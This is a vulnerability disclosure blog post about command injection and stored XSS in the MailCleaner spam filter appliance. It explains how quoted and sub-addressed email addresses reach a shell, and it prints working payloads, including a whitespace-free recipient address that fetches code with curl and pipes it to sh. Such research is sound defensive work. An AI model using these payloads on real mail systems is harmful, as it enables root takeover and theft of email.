tl;dr
As part of a security research, our colleagues Michael Imfeld and Pascal Zenker examined the commercial and open source spam filter appliance MailCleaner and identified multiple high severity vulnerabilities (CVE-2024-3191, CVE-2024-3192, CVE-2024-3193, CVE-2024-3194, CVE-2024-3195, CVE-2024-3196). Successful exploitation allows an unauthenticated attacker to take over the appliance as root user and gain full access to all emails handled by it through a malicious email.
Details about these and all other identified security vulnerabilities in MailCleaner can be found in our published disclosure report PDF. The vulnerablities were communicated to MailCleaner in a coordinated disclosure and were fixed by the vendor.
What is MailCleaner?
MailCleaner is an email filtering appliance which is designed to counteract spam, viruses, and other malicious content. It offers both commercial and community editions to accommodate different requirements. The deployment of the product can be imagined similarly to a reverse proxy for web applications. The main mail exchange record for a domain is pointed to MailCleaner which applies its filtering and forwards messages to the actual mail server.
While the number of deployments across the internet of around 4000 instances during an initial assessment wasn’t particularly remarkable we identified a couple of interesting organizations relying on MailCleaner. Among these organizations were governments, universities and large insurance companies. So MailCleaner would indeed qualify as an attractive target for attackers.
“This is a valid Email Address?!"@modzero.com
An email address, as defined in the RFC standards, comprises two main parts: the local part and the domain part, separated by the “@” symbol.
Following the “@” symbol is the domain part, which specifies the email provider or the organization’s domain where the mailbox resides. This section typically includes a domain name like modzero.com
and can be divided into subdomains, such as mail.modzero.com
. The domain part is generally restricted to letters, numbers, hyphens, and periods, ensuring that email addresses are compatible across various systems and protocols.
But it’s the local part, which precedes the “@” sign, that is more interesting for us as pentesters. Because it identifies the mailbox within a domain where the email is to be delivered. This part can include a variety of characters, such as letters (both uppercase and lowercase), numbers, and even certain special characters. Hereby the specific alphabet is decided on the fact whether the local part is quoted or unquoted. The unquoted local part’s alphabet can include any of these chars: A-Za-z0-9!#$%&'*+-/=?^_`{|}~
. For example, jane.doe@modzero.com
,jane_doe+newsletter@modzero.com
, and 1234?@modzero.com
are all valid representations for the local part.
When using the local part quoted in an email address, as specified by RFC standards, the rules for which characters it can contain become more lenient, allowing for a broader array of options. For this, the local part is wrapped in quotation marks (”), enabling the inclusion of spaces, dots, and special characters that would otherwise be interpreted differently or not allowed at all: "(),:;<>@[\]
.
While for example an unquoted local part might not allow for spaces or consecutive dots, the quoted local part can include them, such as"jane.doe...something"@modzero.com
, "jane doe"@modzero.com
or even ".(),:;<>[]\""@modzero.com
. This quoted format effectively tells the email system to take the enclosed sequence of characters exactly as it is, without applying the usual parsing rules that might split a username into parts or disallow certain characters.
It is worth mentioning that despite this flexibility, the use of quoted local parts is relatively rare in everyday email communication due to the added complexity and the potential for misunderstandings when addresses are typed or communicated verbally. Additionally, not every mail provider is handing out their email addresses with the full RFC compliant alphabet. Which means that these mail-servers reject recipient mail addresses including special characters under certain circumstances or even assign a different meaning to them. One such an example would be sub-addressing.
Sub-addressing is a feature that allows users to extend their basic email address with additional identifiers, enabling better management and organization of incoming emails. This is typically achieved by appending a plus ("+") sign followed by a tag to the local part of the email address. The purpose behind sub-addressing is to create variations of a single email address for different uses, without the need for setting up multiple email accounts. For instance, if your primary email address is janedoe@modzero.com
, you could use sub-addressing to create variations like janedoe+news@modzero.com
for signing up for newsletters, or janedoe+shopping@modzero.com
for online shopping. All emails sent to these sub-addresses land in the inbox of janedoe@modzero.com
, but they can be easily filtered or sorted based on the unique identifiers after the plus sign. Several public mail providers support sub-addressing as e.g., gmail.com or outlook.com. It is important to note that while the local part of the email address can contain a plus sign and additional characters for sub-addressing purposes, the interpretation and handling of these addresses are up to the email provider’s system. Some systems might ignore the plus sign and everything after it, while others fully support this feature and allow users to take advantage of it for email management and filtering.
What’s in it for attackers?
In software development it seems common knowledge that user input is a breeding ground for security threats. This understanding is (partly based on prejudices but also based on many incidents…) rooted in many incidents where insufficiently sanitized input led to breaches and exploits. Yet, despite this awareness, recognizing all forms of user input, especially those that appear benign, remains a challenge. Email addresses, for instance, often defy expectations about what user input can entail. Many developers and systems assume that email addresses are straightforward, consisting only of alphanumeric characters, dots, and the occasional dash or underscore. This assumption, as explained in the previous section, is a misconception that can lead to overlooked vulnerabilities.
Email addresses, as defined by the RFC standards, can include a wider range of characters than commonly expected, including quotes and special characters in the local part if appropriately quoted. One clear example of how this can be exploited is the threat of stored Cross-Site Scripting (XSS) attacks. Stored XSS attacks occur once an application stores user input unsafely and then displays this unescaped content to other users. If a system does not recognize that quotes and other special characters can be part of a valid email address, attackers can exploit this oversight by injecting malicious scripts into their email addresses. When these addresses are displayed to users, the embedded script can execute within their browser, leading to data theft, session hijacking, or other malicious outcomes.
Crafting an Exploit With Strict Limitations
With this theory in mind we started hunting for vulnerabilities within MailCleaner. We were particularly interested in finding a vulnerability that would be exposed to the mailing service (SMTP) rather than the web interface because many instances that are publicly available do not allow access to the web interface.
A couple of system()
calls in MailCleaner’s clean spam quarantine cron job that is run at midnight every day sparked our interest. One of the lines looked like this: system("rmdir $domain_entry >/dev/null 2>&1");
. Tracing back $domain_entry
revealed that this variable is populated with a file path globbed from MailCleaner’s spam quarantine directory. This path looked quite promising so we proceeded to setup a local MailCleaner instance to investigate further.
To get a clearer picture of the inner workings of this cleaning procedure we sent a couple of emails containing a spam test string, similar to EICAR for viruses, to our local MailCleaner instance making sure it was classified as spam. Much to our surprise we found that the file paths we were after actually contained the recipient’s email address. Bingo!
To get an impression of the feasibility of the attack we first started experimenting with a local mailcatcher as target server. This had the advantage that we could test against a target that would accept any address so we could solely focus on MailCleaner’s behavior. It also allowed us to leverage the full character set inside a quoted local path as described above.
Our first attempt looked something like this:
";id>mod0;"@mod0.local
On the file system:
Inserted into the system()
said line in the code reads:
system("rmdir /var/mailcleaner/spam/mod0.local/;id>mod0;@mod0.local >/dev/null 2>&1");
At this point we knew that we could facilitate an OS command injection by sending an email with a malicious recipient address and a high spam score. There was one problem though. MailCleaner verifies each recipient address of an incoming message on the outgoing mail server before accepting and classifying it. This meant that the malicious recipient address had to be accepted not only by MailCleaner itself but also by the target mail server.
So how could we bypass this limitation? Registering a mailbox on the target would introduce many new hurdles and would also lower the impact significantly. So here is where sub-addressing comes to the rescue!
We decided to give it a go with more realistic targets. As a reference we utilized Gmail and Outlook as outgoing mail providers. The idea was to use an existing address such as jane.doe@gmail.com
for Gmail and append the payload utilizing sub-addressing (e.g. jane.doe+<payload>@gmail.com
). It became apparent quickly that both targets were not strictly RFC compliant as the quoted email format could not be used. GMail returned “unknown recipient” when an existing local part was wrapped into quotes while Outlook responded with “access denied”. In consequence this meant we could only utilize a restricted set of characters. As an example the semicolon character could not be used. The charset that was allowed boiled down to +&|`${}#*
.
The greatest challenge however, posed the restriction of the white space character. Proving that the OS command injection is possible was quite trivial. But without whitespaces it couldn’t really be weaponized to gain a reverse shell. The runtime environment in Dash, as opposed to Bash, further limited our options. On a conceptual level it had to be possible to obtain a white space character and store it in an environment variable to use it in a statement like curl${space}modzero.com|sh
. What about ${IFS}
and the like, you might think? Unfortunately we couldn’t leverage any existing env variables since the address was always converted to lower case thus making existing env variables inaccessible.
While skimming through the Dash man page we discovered a section about “Parameter Expansion”. Among other functionality there are mechanisms that provide substring processing. So the idea was to extract a white space character from the output of another command.
After experimenting for a while we came up with a solution that looked quite promising. Using df|tac
would return the lines of the df
output in reversed order. Meaning df
’s header would always be at the very bottom. This output is then stored in an env variable called a
. On any system the a
variable would always end with this line:
<system dependant>
Filesystem 1K-blocks Used Available Use% Mounted on
Now Dash’s parameter expansion comes into play. The expression ${a##*d}
tells Dash to remove anything up until the pattern match. As a result the string " on" is returned, exactly what we needed! Our curl command would now look like this: curl${a##*d}.modzero.com|sh
. So it was time to glue anything together. Since we couldn’t use ;
to build a chain of commands we had to use ||
and &&
. Chaining what we had so far looked like this:
a=`df|tac`&&curl${a##*d}.modzero.com|sh
For the final exploit a couple of further adjustments had to be made. Since MailCleaner removed one pipe character during processing there is one extra pipe needed at the beginning of the payload to chain everything together. Obviously we also added redirection to Dash of the fetched content via curl. The final weaponized payload looked like this:
john.doe+|||a=`df|tac`&&curl${a##*d}.modzero.com|cat|sh||@gmail.com
After sending a message using the crafted recipient address we found this very legitimate looking file in MailCleaner’s spam directory:
At this point we only had to wait for our reverse shell to be triggered. In summary we built a fully RFC compliant email address without spaces but also a reverse shell payload!👀
See the full working exploit in action:
In a very similar fashion we discovered a stored XSS vulnerability that was triggered by the sender’s email address. As opposed to the recipient address the sender address is not subject to any verification. Therefore we could leverage the full character set through quoting of the local part making exploitation trivial. Combining the stored XSS with an authenticated remote code execution in the admin web frontend led to system compromise similar to the OS command injection described above.
Conclusion
It is clear that dealing with any kind of input in software development stays a difficult problem. Recognizing that any information provided by users can be a potential security risk is the first step towards safer applications. Developers often face challenges in identifying all the different forms of user input, which can make safeguarding against threats tricky. Also assumptions about how secure or straightforward inputs are, especially email addresses, might lead to unexpected troubles. The variety in what’s considered a valid email address alone and the resulting security issues in MailCleaner are a stark reminder to stay vigilant and always and ever sanitize input in your programs.
Acknowledgement
We want to thank MailCleaner for the open and transparent communication within the disclosure process. MailCleaner was responsive throughout the entire process and released their fixes swiftly after receiving our report.
Advisory & Timeline
Find the full technical details about these vulnerabilities, proof of concept code and the disclosure in our advisory.